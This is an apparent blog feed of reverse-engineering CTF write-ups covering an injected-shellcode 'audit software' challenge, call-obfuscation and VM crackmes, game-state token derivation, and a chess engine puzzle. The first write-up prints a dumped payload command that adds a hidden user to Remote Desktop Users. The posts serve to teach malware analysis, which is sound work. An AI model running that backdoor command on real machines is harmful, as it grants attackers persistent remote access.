<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://leovanbon.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://leovanbon.github.io/" rel="alternate" type="text/html" /><updated>2026-07-29T16:00:46+00:00</updated><id>https://leovanbon.github.io/feed.xml</id><title type="html">do i rev?</title><subtitle>te he
</subtitle><author><name>ngk</name></author><entry><title type="html">Cyber Apocalypse CTF 2026</title><link href="https://leovanbon.github.io/cyber-apocalypse-ctf-2026.html" rel="alternate" type="text/html" title="Cyber Apocalypse CTF 2026" /><published>2026-07-29T14:00:00+00:00</published><updated>2026-07-29T14:00:00+00:00</updated><id>https://leovanbon.github.io/Cyber-Apocalypse-CTF-2026</id><content type="html" xml:base="https://leovanbon.github.io/cyber-apocalypse-ctf-2026.html"><![CDATA[<p>This one felt good, so I wrote up this challenge.</p>

<h1 id="corpsyncaudit-rev">CorpSyncAudit [rev]</h1>

<p>From the challenge description, the scenario is that a malicious program disguised as audit software was installed on all employees’ machines. It is also hinted that one of the log files can trigger malicious behavior that creates a backdoor on the victim’s machine.</p>

<p>We are given a PE file, <code class="language-plaintext highlighter-rouge">CorpSyncAudit.exe</code>, and a folder of logs.</p>

<p><img src="attachment/Pasted%20image%2020260727180324.png" alt="" /></p>

<h2 id="quick-tour">Quick Tour</h2>

<h3 id="startup">Startup</h3>

<p>From the entry point <code class="language-plaintext highlighter-rouge">start</code>, we reach <code class="language-plaintext highlighter-rouge">sub_140001155</code>:</p>

<p><img src="attachment/Pasted%20image%2020260727174310.png" alt="" /></p>

<p>I looked through <code class="language-plaintext highlighter-rouge">sub_140007C20</code>, <code class="language-plaintext highlighter-rouge">sub_140001477</code>, and <code class="language-plaintext highlighter-rouge">sub_1400079A7</code>; they are just initialization routines.</p>

<p>Continuing into <code class="language-plaintext highlighter-rouge">sub_1400077B0</code>, this turns out to be a wrapper.</p>

<p><img src="attachment/Pasted%20image%2020260727174906.png" alt="" /></p>

<p>From there, we continue to <code class="language-plaintext highlighter-rouge">sub_14000726E</code>.</p>

<p>This is the application’s GUI entry/setup function.</p>

<p><img src="attachment/Pasted%20image%2020260727181136.png" alt="" /></p>

<p>Since the <em>window procedure</em>, <code class="language-plaintext highlighter-rouge">lpfWndProc</code>, contains most of the GUI behavior, <code class="language-plaintext highlighter-rouge">sub_1400063E5</code> is the next function to inspect.</p>

<p>Inside, there were a handful of functions, so I checked their xrefs. If a function had many references, I marked it as a helper. That narrowed down the list.</p>

<p>Here I found <code class="language-plaintext highlighter-rouge">sub_14000061B5</code>, which handles the open-file dialog.</p>

<p><img src="attachment/Pasted%20image%2020260728014731.png" alt="" /></p>

<p>The markings from the previous step made that function stand out.</p>

<h3 id="log-reader">Log Reader</h3>

<p>Stepping inside <code class="language-plaintext highlighter-rouge">sub_1400003827</code>, we arrive at the log reader.</p>

<p><img src="attachment/Pasted%20image%2020260728021054.png" alt="" /></p>

<p>Using the same marking approach as I did for <code class="language-plaintext highlighter-rouge">sub_1400063E5</code>, I was left with a manageable number of functions.</p>

<p><img src="attachment/Pasted%20image%2020260728230540.png" alt="" /></p>

<p>After scanning through them, I found a familiar pattern in <code class="language-plaintext highlighter-rouge">sub_14000340B</code> :</p>

<h3 id="suspicious-part">Suspicious Part</h3>

<p><img src="attachment/Pasted%20image%2020260728024938.png" alt="" /></p>

<p>With further inspection inside <code class="language-plaintext highlighter-rouge">sub_14000185F</code>, it likely resolves WinAPI addresses from hashed identifiers.</p>

<p><img src="attachment/Pasted%20image%2020260728160205.png" alt="" /></p>

<p>Time to switch to dynamic analysis and see what it does here.</p>

<h2 id="hands-on">Hands-On</h2>

<h3 id="catching">Catching</h3>

<p>I loaded the PE in x64dbg and set <code class="language-plaintext highlighter-rouge">bp corpsyncaudit.exe:$3541</code>.</p>

<p><img src="attachment/Pasted%20image%2020260728220726.png" alt="" /></p>

<p>Among the logs, <code class="language-plaintext highlighter-rouge">sync_20260412_192364.log</code> stands out because it is much larger than the others, so it is the best candidate for triggering the malicious path.</p>

<p>Luckily, there are no anti-debug measures, so once that log is loaded and the breakpoint hits, the stack reveals pretty much everything:</p>

<p><img src="attachment/Pasted%20image%2020260728174227.png" alt="" /></p>

<p>After renaming the variables, this is clearly a classic remote process injection flow (T1055.002): open <code class="language-plaintext highlighter-rouge">explorer.exe</code>, allocate memory, write the payload, change the page permissions, and start a remote thread.</p>

<p><img src="attachment/Pasted%20image%2020260728175002.png" alt="" /></p>

<p>Then I set <code class="language-plaintext highlighter-rouge">bp corpsyncaudit.exe+3712</code> and used <code class="language-plaintext highlighter-rouge">savedata :memdump:, r8, r9</code>, which gave me the payload for the second stage.</p>

<h3 id="shellcode-analysis">Shellcode Analysis</h3>

<p>From there, I switched back to static analysis of the dumped shellcode:</p>

<p><img src="attachment/Pasted%20image%2020260728185751.png" alt="" /></p>

<p>First, it cleans up with <code class="language-plaintext highlighter-rouge">cld</code> and clears the low bits of <code class="language-plaintext highlighter-rouge">rsp</code>.
Then it transfers control to the main payload logic at <code class="language-plaintext highlighter-rouge">0xCA</code>.</p>

<p><img src="attachment/Pasted%20image%2020260728190235.png" alt="" /></p>

<p>Note that when it executes <code class="language-plaintext highlighter-rouge">call loc_CA</code>, the address <code class="language-plaintext highlighter-rouge">0x0A</code> is pushed onto the stack.
So <code class="language-plaintext highlighter-rouge">pop rbp</code> stores that <code class="language-plaintext highlighter-rouge">0x0A</code> in <code class="language-plaintext highlighter-rouge">rbp</code>.</p>

<p>Because shellcode is self-contained and position-independent, it must have some way to resolve the APIs needed to run things. We can infer that <code class="language-plaintext highlighter-rouge">sub_A</code> is the API resolver for this shellcode.</p>

<p>That part can be annotated like this:</p>

<p><img src="attachment/Pasted%20image%2020260728201152.png" alt="" /></p>

<p>At offset <code class="language-plaintext highlighter-rouge">0x10B</code>, the payload contains the command used to create the backdoor account:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net user backup_admin SFRCe2Q0NzNfNzFtM180bmRfNjRja2QwMHI1fQ== /add &amp;&amp; net localgroup "Remote Desktop Users" backup_admin /add
</code></pre></div></div>

<h2 id="flag">Flag</h2>

<p>The password string is Base64-encoded, and decoding it gives the flag: <code class="language-plaintext highlighter-rouge">HTB{d473_71m3_4nd_64ckd00r5}</code>.</p>

<hr />]]></content><author><name>ngk</name></author><category term="writeup" /><category term="htb" /><category term="htb" /><summary type="html"><![CDATA[This one felt good, so I wrote up this challenge.]]></summary></entry><entry><title type="html">HTB - callfuscated</title><link href="https://leovanbon.github.io/htb-callfuscated.html" rel="alternate" type="text/html" title="HTB - callfuscated" /><published>2026-05-08T00:00:00+00:00</published><updated>2026-05-08T00:00:00+00:00</updated><id>https://leovanbon.github.io/HTB-callfuscated</id><content type="html" xml:base="https://leovanbon.github.io/htb-callfuscated.html"><![CDATA[<p>They give us an ELF file</p>

<p><img src="attachment/Pasted%20image%2020260508184715.png" alt="" /></p>

<p>I put it in IDA and analyze:</p>

<h2 id="de-callfuscating">de-callfuscating</h2>

<p>This binary is filled with many trampoline jumps.</p>

<p><img src="attachment/Pasted%20image%2020260508184506.png" alt="" /></p>

<p>Scrolling through, the obfuscation pattern is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>call next_block

next_block:
	pop r8
	&lt;real instruction&gt;
	call another_block
</code></pre></div></div>

<p>Note that the <code class="language-plaintext highlighter-rouge">call</code> instruction does two things:</p>
<ul>
  <li>pushes addr of the next instruction onto the stack</li>
  <li>and jumps to the target.</li>
</ul>

<p>The <code class="language-plaintext highlighter-rouge">pop r8</code> discards the <em>return address</em> from the stack, allowing the program continue linearly</p>

<p>The obfuscate algo is equivalent to this clean logic:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jmp next_block

next_block:
	&lt;real instruction&gt;
	jmp another_block
</code></pre></div></div>

<p>The following script nop-ed the <code class="language-plaintext highlighter-rouge">pop r8</code> and patched <code class="language-plaintext highlighter-rouge">call</code> to <code class="language-plaintext highlighter-rouge">jmp</code> .</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import struct
import sys

BASE = 0x400000

def target_of_call(buf, off):
    rel = struct.unpack_from("&lt;i", buf, off + 1)[0]
    return BASE + off + 5 + rel


buf = bytearray(open('crackme', "rb").read())

for off in range(len(buf) - 5):
	if buf[off] != 0xE8:
		continue

	target = target_of_call(buf, off)
	target_off = target - BASE

	if 0 &lt;= target_off &lt; len(buf) - 1 and buf[target_off : target_off + 2] == b"\x41\x58":
		buf[off] = 0xE9
		buf[target_off : target_off + 2] = b"\x90\x90"

open('patched_crackme', "wb").write(buf)
print("done")
</code></pre></div></div>

<h2 id="a-vm-awaits">a vm awaits</h2>

<p>IDA handled the <code class="language-plaintext highlighter-rouge">jmp</code> and got me this clean pseudocode.</p>

<p>It seems this is VM-obfuscated</p>

<p><img src="attachment/Pasted%20image%2020260508194813.png" alt="" /></p>

<p>and the VM handlers are heavily MBA-obfuscated</p>

<p><img src="attachment/Pasted%20image%2020260508200000.png" alt="" /></p>

<p>In this case, i’ll guess its semantics by sampling some pairs <code class="language-plaintext highlighter-rouge">(7,3), (11,6), (16,4)</code>. These are the pairs that produce unique, distinguishable outputs for each common arithmetic and bitwise operation.</p>

<p>Deduced that:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">sub_401F18</code> ~ add</li>
  <li><code class="language-plaintext highlighter-rouge">sub_4050AA</code> ~ sub</li>
  <li><code class="language-plaintext highlighter-rouge">sub_401166</code> ~ mul</li>
  <li><code class="language-plaintext highlighter-rouge">sub_4080D6</code>~ and</li>
  <li><code class="language-plaintext highlighter-rouge">sub_406E47</code> ~ or</li>
  <li><code class="language-plaintext highlighter-rouge">sub_405C1F</code> ~ xor</li>
</ul>

<h3 id="vm-reversal">vm reversal</h3>

<p>I began by dumping the bytecode.</p>

<p><img src="attachment/Pasted%20image%2020260508203453.png" alt="" /></p>

<p>Then, i replicate the VM behavior</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import struct
import sys


INPUT_BASE = 0x40F080


def u32(x):
    return x &amp; 0xFFFFFFFF


def hx(x):
    return f"0x{u32(x):08x}"


def pop2(stack):
    b = stack.pop()
    a = stack.pop()
    return a, b

password = "A"*64
data = open("dump", "rb").read()
code = list(struct.unpack("&lt;" + "I" * (len(data) // 4), data))[:0x24A]
mem = {INPUT_BASE + i: c for i, c in enumerate(password.encode() + b"\x00")}

stack = []
pc = 0

while pc &lt; len(code):
    ip = pc
    op = code[pc]
    pc += 1

    if op == 0:
        val = code[pc]
        pc += 1
        stack.append(val)
        msg = f"PUSH {hx(val)}"

    elif op == 1:
        val = stack.pop()
        msg = f"POP {hx(val)}"

    elif op == 2:
        a, b = pop2(stack)
        stack.append(u32(a + b))
        msg = f"ADD {hx(a)} + {hx(b)}"

    elif op == 3:
        a, b = pop2(stack)
        stack.append(u32(a - b))
        msg = f"SUB {hx(a)} - {hx(b)}"

    elif op == 5:
        a, b = pop2(stack)
        stack.append(u32(a * b))
        msg = f"MUL {hx(a)} * {hx(b)}"

    elif op == 6:
        a, b = pop2(stack)
        stack.append(u32(a &amp; b))
        msg = f"AND {hx(a)} &amp; {hx(b)}"

    elif op == 7:
        a, b = pop2(stack)
        stack.append(u32(a | b))
        msg = f"OR  {hx(a)} | {hx(b)}"

    elif op == 8:
        a, b = pop2(stack)
        stack.append(u32(a ^ b))
        msg = f"XOR {hx(a)} ^ {hx(b)}"

    elif op == 9:
        addr = code[pc]
        pc += 1
        stack.append(mem.get(addr, 0))
        msg = f"LOAD_ABS [{addr:#x}]"

    elif op == 10:
        addr = stack.pop()
        val = mem.get(u32(addr), 0)
        stack.append(val)
        ch = f" '{chr(val)}'" if 32 &lt;= val &lt;= 126 else ""
        msg = f"LOAD_PTR [{u32(addr):#x}] -&gt; {val:#x}{ch}"

    else:
        print(f"{ip:04d}: unknown opcode {op:#x}")
        break

    top = hx(stack[-1]) if stack else "&lt;empty&gt;"
    print(f"{ip:04d}: {msg:&lt;35} top={top} stack_depth={len(stack)}")

print()
if stack:
    print(f"final top = {hx(stack[-1])}")
    print("Correct" if u32(stack[-1]) == 0 else "Incorrect")
else:
    print("empty stack")
</code></pre></div></div>

<p>Analyzed the log:</p>

<p><img src="attachment/Pasted%20image%2020260508205855.png" alt="" /></p>

<p>Retrieve the stored xoring values from the dump and we are done</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>print(bytes.fromhex(hex(0x0915033a ^ 0x41414141)[2:]
                    + hex(0x427d7872 ^ 0x11111111)[2:] 
                    + hex(0x30310a00 ^ 0x55555555)[2:]
                    + hex(0x2a052e32 ^ 0x5a5a5a5a)[2:]
                    + hex(0xcff5ecdf ^ 0xaaaaaaaa)[2:]
                    + hex(0x1914031e ^ 0x77777777)[2:]
                    + hex(0xf6f7c6ad ^ 0x99999999)[2:]
                    + hex(0x6c6a524e ^ 0x33333333)[2:]))

</code></pre></div></div>

<h2 id="flag">flag</h2>

<p>nice challenge
<code class="language-plaintext highlighter-rouge">HTB{Sliced_Up_the_Function_4_Ya}</code></p>]]></content><author><name>ngk</name></author><category term="writeup" /><category term="htb" /><category term="htb" /><summary type="html"><![CDATA[They give us an ELF file]]></summary></entry><entry><title type="html">cit@ctf 2025 writeups</title><link href="https://leovanbon.github.io/cit-ctf-2026-wu.html" rel="alternate" type="text/html" title="cit@ctf 2025 writeups" /><published>2026-04-22T00:00:00+00:00</published><updated>2026-04-22T00:00:00+00:00</updated><id>https://leovanbon.github.io/CIT@CTF-2026-WU</id><content type="html" xml:base="https://leovanbon.github.io/cit-ctf-2026-wu.html"><![CDATA[<h1 id="catacombs-rev">catacombs [rev]</h1>

<h2 id="just-strings-it">just <code class="language-plaintext highlighter-rouge">strings</code> it</h2>

<p><img src="attachment/Pasted%20image%2020260421184310.png" alt="" /></p>

<p>Maybe they forgot sth, let’s solve it in the “intended” way</p>

<h2 id="what-if-its-a-remote-challenge">what if it’s a remote challenge</h2>

<p>This feels like a maze challenge where we have to reach all the nodes. Once we’re done, call submit to get the flag</p>

<p><img src="attachment/Pasted%20image%2020260421235546.png" alt="" /></p>

<p>Digging into IDA: <code class="language-plaintext highlighter-rouge">main -&gt; runScript -&gt; applyVisibleStep</code>. I found <code class="language-plaintext highlighter-rouge">EDGE_TABLE</code>, which (as confirmed through testing) basically maps out all the edges of the “catacombs”.</p>

<p><img src="attachment/Pasted%20image%2020260422000519.png" alt="" /></p>

<h1 id="escaperoom-rev">escaperoom [rev]</h1>

<p>This is another game/riddle challenge</p>

<p><img src="attachment/Pasted%20image%2020260422133244.png" alt="" /></p>

<p>I tried out all the commands. It seems that once we achieve the correct room state, we can <code class="language-plaintext highlighter-rouge">8. enter door override token</code> to get the flag.</p>

<p>The tasks are listed in the <code class="language-plaintext highlighter-rouge">facility log</code>:</p>

<p><img src="attachment/Pasted%20image%2020260422133515.png" alt="" /></p>

<p>I also found the state variables for these things:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">gstate = 0</code> light off</li>
  <li><code class="language-plaintext highlighter-rouge">dword_5D90E4 = 1</code> ventilation route east</li>
  <li><code class="language-plaintext highlighter-rouge">dword_5D90E8 = 3</code> cam 3</li>
  <li><code class="language-plaintext highlighter-rouge">dword_5D90EC = 2</code> door patch 2 times</li>
  <li>inside maintainance shell: <code class="language-plaintext highlighter-rouge">dword_5D90F1 = 1</code> mirror first then <code class="language-plaintext highlighter-rouge">dword_5D90F2 = 1</code> hush</li>
  <li><code class="language-plaintext highlighter-rouge">dword_5D90F0 = 1</code> emegency battery on</li>
</ol>

<p>Alright, thing is set up</p>

<p><img src="attachment/Pasted%20image%2020260422155543.png" alt="" /></p>

<p>But i still need the door token; where could it be?
Looking at the references of those state variables, I found <code class="language-plaintext highlighter-rouge">roomSignature() -&gt; buildOverrideToken()</code></p>

<p>I couldn’t find where it was called, so i replicated it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def rol32(v, n):
    v &amp;= 0xFFFFFFFF
    return ((v &lt;&lt; n) | (v &gt;&gt; (32 - n))) &amp; 0xFFFFFFFF

def room_signature(g_state, e4, e8, ec, f0, f1, f2):
    v0 = 324508639 if g_state else 610839776
    inner = (521288629 * (e4 + 1) + rol32(v0 ^ 0xA17C3E29, 7)) &amp; 0xFFFFFFFF
    v5 = (668265261 * (ec + 5) + ((73244475 * (e8 + 3)) ^ inner)) &amp; 0xFFFFFFFF
    v1 = 0xFFFFFFFF &amp; -1515890086 if f1 else 1515890085
    v6 = (v1 ^ v5) &amp; 0xFFFFFFFF
    v2 = 826366246 if f0 else 655894552
    v7 = (v2 + v6) &amp; 0xFFFFFFFF
    v3 = 0xFFFFFFFF &amp; -559038737 if f2 else 0xFFFFFFFF &amp; -1160724258
    return (v3 ^ v7) &amp; 0xFFFFFFFF

def build_override_token(g_state, e4, e8, ec, f0, f1, f2):
    alphabet = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789"
    spice = [19, 55, 49374, 48879, 90, 2766, 16962, 36877, 4660, 1911]
    sig = room_signature(g_state, e4, e8, ec, f0, f1, f2)
    v6 = (sig ^ 0x6F70656E) &amp; 0xFFFFFFFF
    token = []
    for i in range(10):
        v6 = (1664525 * v6 + spice[i] + 1013904223) &amp; 0xFFFFFFFF
        token.append(alphabet[v6 &gt;&gt; 27])
        if i == 2 or i == 5:
            token.append('-')
    return ''.join(token)

print(build_override_token(
    g_state=0, e4=1, e8=3, ec=2, f0=1, f1=1, f2=1
))
</code></pre></div></div>

<p>Running it prints: <code class="language-plaintext highlighter-rouge">RHY-QVT-KAXJ</code></p>

<p><img src="attachment/Pasted%20image%2020260422161217.png" alt="" /></p>

<p>I wonder if there is a neat way to reverse the <code class="language-plaintext highlighter-rouge">validate()</code> in <code class="language-plaintext highlighter-rouge">enterOverrideToken()</code> for a better approach.</p>

<h1 id="trivia">trivia</h1>

<p>I was fed up at this point of writing. Some other challenges follow a similar game-like pattern:</p>
<ul>
  <li>find &amp; setup the correct state</li>
  <li>derive the token</li>
  <li>submit token &amp; get flag
Except for the <code class="language-plaintext highlighter-rouge">reallysecurepasswordmanager</code>, where we have to find a way to bypass the user check.</li>
</ul>

<p>Let’s take a look at the interesting thing i found in these challenges:</p>

<h2 id="mangled-look">mangled look</h2>

<p>For example, this is from challenge <code class="language-plaintext highlighter-rouge">say my name</code>:</p>

<p><img src="attachment/Pasted%20image%2020260422232016.png" alt="" /></p>

<p>Upon looking it up, this was done with <code class="language-plaintext highlighter-rouge">anonymous namespace</code>. Let me explain:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A namespace is just a named container that groups related code together to avoid name collisions.
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>namespace math {
    int add(int a, int b) { return a + b; }
}

namespace mycode {
    int add(int a, int b) { return a + b; }
}

math::add(1, 2);    // unambiguous
mycode::add(1, 2);  // unambiguous
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>An **anonymous namespace** is the same thing but with no name:
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>namespace {
    int add(int a, int b) { return a + b; }
}
</code></pre></div></div>

<p>The C++ standard gives symbols in anonymous namespaces internal linkage, IDA just labels them with the prefix <code class="language-plaintext highlighter-rouge">'anonynmous namespace'::</code></p>

<p><img src="attachment/Pasted%20image%2020260422233309.png" alt="" /></p>

<p>looks fun.</p>

<h2 id="gdb-start--ni-denial">gdb <code class="language-plaintext highlighter-rouge">start</code> &amp; <code class="language-plaintext highlighter-rouge">ni</code> denial</h2>

<p>can’t run with <code class="language-plaintext highlighter-rouge">start</code></p>

<p><img src="attachment/Pasted%20image%2020260423000502.png" alt="" /></p>

<p>in certain parts. the <code class="language-plaintext highlighter-rouge">ni</code> doesn’t work</p>

<p><img src="attachment/Pasted%20image%2020260423000827.png" alt="" /></p>

<p>i haven’t figured out why yet, be updating soon.</p>]]></content><author><name>ngk</name></author><category term="writeup" /><category term="ctf" /><category term="cit" /><summary type="html"><![CDATA[catacombs [rev]]]></summary></entry><entry><title type="html">DawgCTF 2026 WU</title><link href="https://leovanbon.github.io/dawgctf-2026-wu.html" rel="alternate" type="text/html" title="DawgCTF 2026 WU" /><published>2026-04-15T00:00:00+00:00</published><updated>2026-04-15T00:00:00+00:00</updated><id>https://leovanbon.github.io/DawgCTF-2026-WU</id><content type="html" xml:base="https://leovanbon.github.io/dawgctf-2026-wu.html"><![CDATA[<h1 id="cheater_cheater">Cheater_Cheater…</h1>

<p>Here we have a clean <code class="language-plaintext highlighter-rouge">.jar</code> file, i ran it and it’s a pacman game, the flag supposedly appears after achieving the highscore.</p>

<p><img src="attachment/Pasted%20image%2020260415230725.png" alt="" />
<img src="attachment/Pasted%20image%2020260415225834.png" alt="" /></p>

<p>Decompile it with JADX, the class <code class="language-plaintext highlighter-rouge">SimplePacMan</code> has a method for throwing flag.</p>

<p><img src="attachment/Pasted%20image%2020260415230223.png" alt="" />
<img src="attachment/Pasted%20image%2020260415230303.png" alt="" /></p>

<h2 id="dynamic-approach">Dynamic approach</h2>

<p>Set the score to <code class="language-plaintext highlighter-rouge">6942069</code> and we’re done</p>

<p>Here we can cook it with jdb (java debugger)</p>

<p><img src="attachment/Pasted%20image%2020260415233957.png" alt="" /></p>

<p><img src="attachment/Pasted%20image%2020260416001906.png" alt="" /></p>

<h2 id="or-just-read-it-out">Or just read it out</h2>

<p>Alternatively, we can continue static analysis. Notice that:</p>

<p><img src="attachment/Pasted%20image%2020260415235622.png" alt="" /></p>

<p>There is a <code class="language-plaintext highlighter-rouge">revalidate()</code> method in <code class="language-plaintext highlighter-rouge">JTextBasket</code>:</p>

<p><img src="attachment/Pasted%20image%2020260416000149.png" alt="" /></p>

<p>Note that <code class="language-plaintext highlighter-rouge">public class JTextBasket extends JComponent</code>, so it passes the score as the component’s name. Then in <code class="language-plaintext highlighter-rouge">revalidate()</code> it calls <code class="language-plaintext highlighter-rouge">getName()</code> to retrieve that score <code class="language-plaintext highlighter-rouge">6942069</code> for deriving the flag. Here is a python script that replicates what it does:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from Crypto.Cipher import AES
import base64

val = (6942069 * 10 + 1) ** 4

key = bytes.fromhex(str(val))
iv = bytes.fromhex(str(val)[::-1])
ct = base64.b64decode("6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii")
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ct)
print(decrypted)

</code></pre></div></div>

<p><em>I have a nightmare where I have to learn OOP again.</em>
<img src="attachment/Pasted%20image%2020260416003312.png" alt="" /></p>

<hr />

<h1 id="checkmate-liver-king">Checkmate Liver King</h1>

<blockquote>
  <p>“I found this interesting Chess game. It seems to run really slow. I wonder what secrets it holds?”</p>
</blockquote>

<p><img src="attachment/Pasted%20image%2020260415165219.png" alt="" /></p>

<p>Let’s check things out.</p>

<p>Without turning on the engine, the game runs normally with no lag.
With the engine on, it starts freezing after 2 moves</p>

<p>However, when I play certain openings, it responds really fast. There must be an opening book embedded inside.</p>

<p>That leads me to the easy approach.</p>

<h2 id="the-osint-way">The OSINT way</h2>

<p>https://www.chess.com/article/view/fried-liver-attack-chess-opening</p>

<p>Play the main line and it pops.</p>

<p><img src="attachment/Pasted%20image%2020260417003307.png" alt="" /></p>

<p>lol</p>

<p>anyway, that’s by luck, i’m studying reverse, so here we go.</p>

<h2 id="rev-approach">Rev approach</h2>

<p><em>Benchmarking work lol.</em>
When i play some random moves, it prints out “<code class="language-plaintext highlighter-rouge">Reply function triggered</code>” and after a while it prints those remaining logs.</p>

<p><img src="attachment/Pasted%20image%2020260415162732.png" alt="" /></p>

<p>I put the binary in IDA and searched for <code class="language-plaintext highlighter-rouge">ENGINE</code> messages. They are all processed in <code class="language-plaintext highlighter-rouge">sub_9E0650</code>.</p>

<p><img src="attachment/Pasted%20image%2020260415170646.png" alt="" /></p>

<h2 id="the-engine">The engine</h2>

<p>Inside, there are some loops calculating the pieces position,etc…</p>

<p><img src="attachment/Pasted%20image%2020260415191649.png" alt="" /></p>

<p>Benchmarking with gdb: It takes a while for <code class="language-plaintext highlighter-rouge">sub_A51490</code> to return. So that’s the core.</p>

<p><img src="attachment/Pasted%20image%2020260417013138.png" alt="" />holy moly</p>

<p>The chess engine operates on two tracks: it either retrieves ‘book moves’ from a database or generates them via complex, computationally expensive algorithms.</p>

<p>My approach was to locate the “slow” part of the engine by benchmarking with gdb.
Although the complex part was easier to find, it looked horrible to analyze (wasted a lot of time on ts :mattimkhocloc:).</p>

<p>So I sought the “fast route” with the IDA graph, here is the fastest that i found:</p>

<p><img src="attachment/Pasted%20image%2020260417015059.png" alt="" /></p>

<h2 id="checker-sub_ae0580">Checker <code class="language-plaintext highlighter-rouge">sub_AE0580</code></h2>

<p>I began by stepping through in pwndbg. Derived these</p>

<p><img src="attachment/Pasted%20image%2020260417030418.png" alt="" /></p>

<p><img src="attachment/Pasted%20image%2020260417034416.png" alt="" /></p>

<p>I play a known “fast move” to see what is the address of the book position.</p>

<p><img src="attachment/Pasted%20image%2020260417095957.png" alt="" /></p>

<p>Check the memory map</p>

<p><img src="attachment/Pasted%20image%2020260417100032.png" alt="" /></p>

<p>So the position table is heap-allocated at runtime. I dumped it out and inspect</p>

<p><img src="attachment/Pasted%20image%2020260417100154.png" alt="" /></p>

<p>Scrolling down a bit is the black’s immediate response:</p>

<p><img src="attachment/Pasted%20image%2020260417100222.png" alt="" /></p>

<p>At this point, we can try follow the positions in the heap dump and the flag message would pop.</p>

<h2 id="flag">Flag</h2>

<p><em>nice anti-slop with that big engine</em></p>

<p><code class="language-plaintext highlighter-rouge">DawgCTF{e4e5f3c6c4f6g5d5d5d5f7f7}</code></p>

<p><img src="attachment/Pasted%20image%2020260417101223.png" alt="" /></p>]]></content><author><name>ngk</name></author><category term="writeup" /><category term="ctf" /><category term="dawgctf" /><category term="reverse" /><summary type="html"><![CDATA[Cheater_Cheater…]]></summary></entry><entry><title type="html">KalmarCTF 2026 WU</title><link href="https://leovanbon.github.io/kalmarctf-2026-wu.html" rel="alternate" type="text/html" title="KalmarCTF 2026 WU" /><published>2026-04-04T00:00:00+00:00</published><updated>2026-04-04T00:00:00+00:00</updated><id>https://leovanbon.github.io/KalmarCTF-2026-WU</id><content type="html" xml:base="https://leovanbon.github.io/kalmarctf-2026-wu.html"><![CDATA[<p>just one challenge done</p>
<h1 id="0racle-rev">0racle [rev]</h1>

<p><em>“Speak your truth and i shall convene with the gods on your behalf”</em></p>

<p><img src="attachment/e8e80d84efbe0d1d8ac9fc3164134b3d.png" alt="" /></p>

<p>We need to put the right flag into that text box; nice theme, eh?</p>

<p>This challenge features a GUI and has a lot of functions for processing images and messages. My first instinct was to use x64dbg to find the input pipeline.</p>

<p><img src="attachment/71ef5c69311962f779e53def859b4eb2.png" alt="" /></p>

<p>I put it in DiE (Detect It Easy) to search for message box APIs.<br />
Asked Gemini anyway, and it said I should put a breakpoint on <code class="language-plaintext highlighter-rouge">GetWindowTextW</code>.</p>

<h2 id="with-scyllahide-on-lets-try-out-some-inputs">With ScyllaHide on, let’s try out some inputs</h2>

<p>I guess they don’t like my hello</p>

<p><img src="attachment/2d68458db3dcc3c374756a60b5cdb77b.png" alt="" /></p>

<p>What about the wrapped hello?</p>

<p><img src="attachment/01cc44585d97fb84094c3585214430ab.png" alt="" /></p>

<p>Cool! They also give me another message</p>

<p><img src="attachment/87a3b82e3e4d0424dad81f49f5964a40.png" alt="" /></p>

<p>I captured 3 call stacks, here i go compare them and check out where they branch:</p>

<p><img src="attachment/4da723c1872a29baa47a0e0b2cd6c93b.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">0x426A55</code>, <code class="language-plaintext highlighter-rouge">0x4269c9 - 0x426658</code>, <code class="language-plaintext highlighter-rouge">0x426a2b</code>
Let’s check them out with IDA, those addrs sit nicely inside <code class="language-plaintext highlighter-rouge">sub_4268A0</code></p>

<h2 id="what-da-sub_4268a0-doin">What da <code class="language-plaintext highlighter-rouge">sub_4268A0</code> doin</h2>

<p>I commented on the lines with the corresponding messages</p>

<p><img src="attachment/72874a817fabb210217f05a4495a6468.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">sub_426430</code> gets the message
<code class="language-plaintext highlighter-rouge">sub_426AF0</code> prints out the message box</p>

<p><img src="attachment/34a6b15861a60aa9dd288d79ede2058b.png" alt="" /><img src="attachment/768cf668e03dccaac8983de51e796ed7.png" alt="" /></p>

<p>Analyzing the logic of <code class="language-plaintext highlighter-rouge">sub_426430</code>, concluded that it just xor the <code class="language-plaintext highlighter-rouge">unk_</code> with 0x57.
I decoded the message of the case <code class="language-plaintext highlighter-rouge">v9 = 1</code>; it says <em>“The gods are pleased and commend your insight.”</em>, sounds good.</p>

<p>Let’s trace back the <code class="language-plaintext highlighter-rouge">v9</code>.</p>

<p><img src="attachment/862cb33e8a7ba96afdd8f0c699f2731f.png" alt="" /></p>

<p>With x64dbg, i can confirm that <code class="language-plaintext highlighter-rouge">v10</code> is our input.
<code class="language-plaintext highlighter-rouge">sub_4034C0</code> loads <code class="language-plaintext highlighter-rouge">0x4B7</code> bytes of <code class="language-plaintext highlighter-rouge">sub_556260</code> into <code class="language-plaintext highlighter-rouge">v11</code>.</p>

